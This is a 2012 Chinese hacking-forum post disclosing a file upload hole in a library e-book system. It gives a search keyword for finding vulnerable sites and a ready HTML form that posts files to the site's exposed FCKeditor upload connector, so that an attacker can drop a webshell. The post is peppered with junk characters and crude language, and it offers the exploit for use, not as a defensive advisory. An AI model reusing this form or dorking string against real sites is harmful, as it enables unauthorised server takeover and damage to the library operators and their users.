主题:图书馆系统任意文件上传漏洞. a5 ~1 F, G/ A* C
作者:冰锋刺客- C* R p* X4 @9 E
厂商:点击书(dianjishu.com)
8 |5 f$ \8 }* \ U& D$ U 日期:2012-6-216 L$ r, ~8 Y/ D/ T9 q; @" `
2 G. k2 V& @1 }: T2 D; T* p
I 概述8 ~, W$ @0 G7 t2 a9 [# E* n$ K" j
点点书库图书馆系统存在文件上传漏洞，导致可以直接拿webshell& U4 ]/ a; K: ~/ s, i+ ?
II 简介7 _3 l) R p K& ~' L
关键词:"Copyright (C) 点点电子书库 2009-2010, All Rights Reserved"
2 A0 v5 W7 X! x0 w2 u! Z: k7 ]5 D 补充一个漏洞5 a( s6 R& t# a6 J1 C
<form id="frmUpload" enctype="multipart/form-data"3 K7 y6 W4 j3 ]" {) O
action="http://url/admin/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=Media" method="post">请上传您的马子<br><input type="file" name="NewFile" size="50"><br>
) x. B& O% E* s" w7 l <input id="btnUpload" type="submit" value="操翻他">
! t, H% j ]' } </form>
, c! b4 k. b. L \$ r! K& m6 _6 H 你们懂的
3 k' U3 ]7 f, R, `5 N& |, }! U1 Y 那傻逼提供还需要改包.5 n, Q5 L: ]0 |3 b1 l/ T
自己看了下源代码发现fckeditor0 c3 q4 c+ e- l5 l0 c5 C; t" B/ o
直接秒杀: ^4 ~# @' D' ^8 h/ c7 Z
|
发表于 2012-9-10 21:20:59
收藏
支持
反对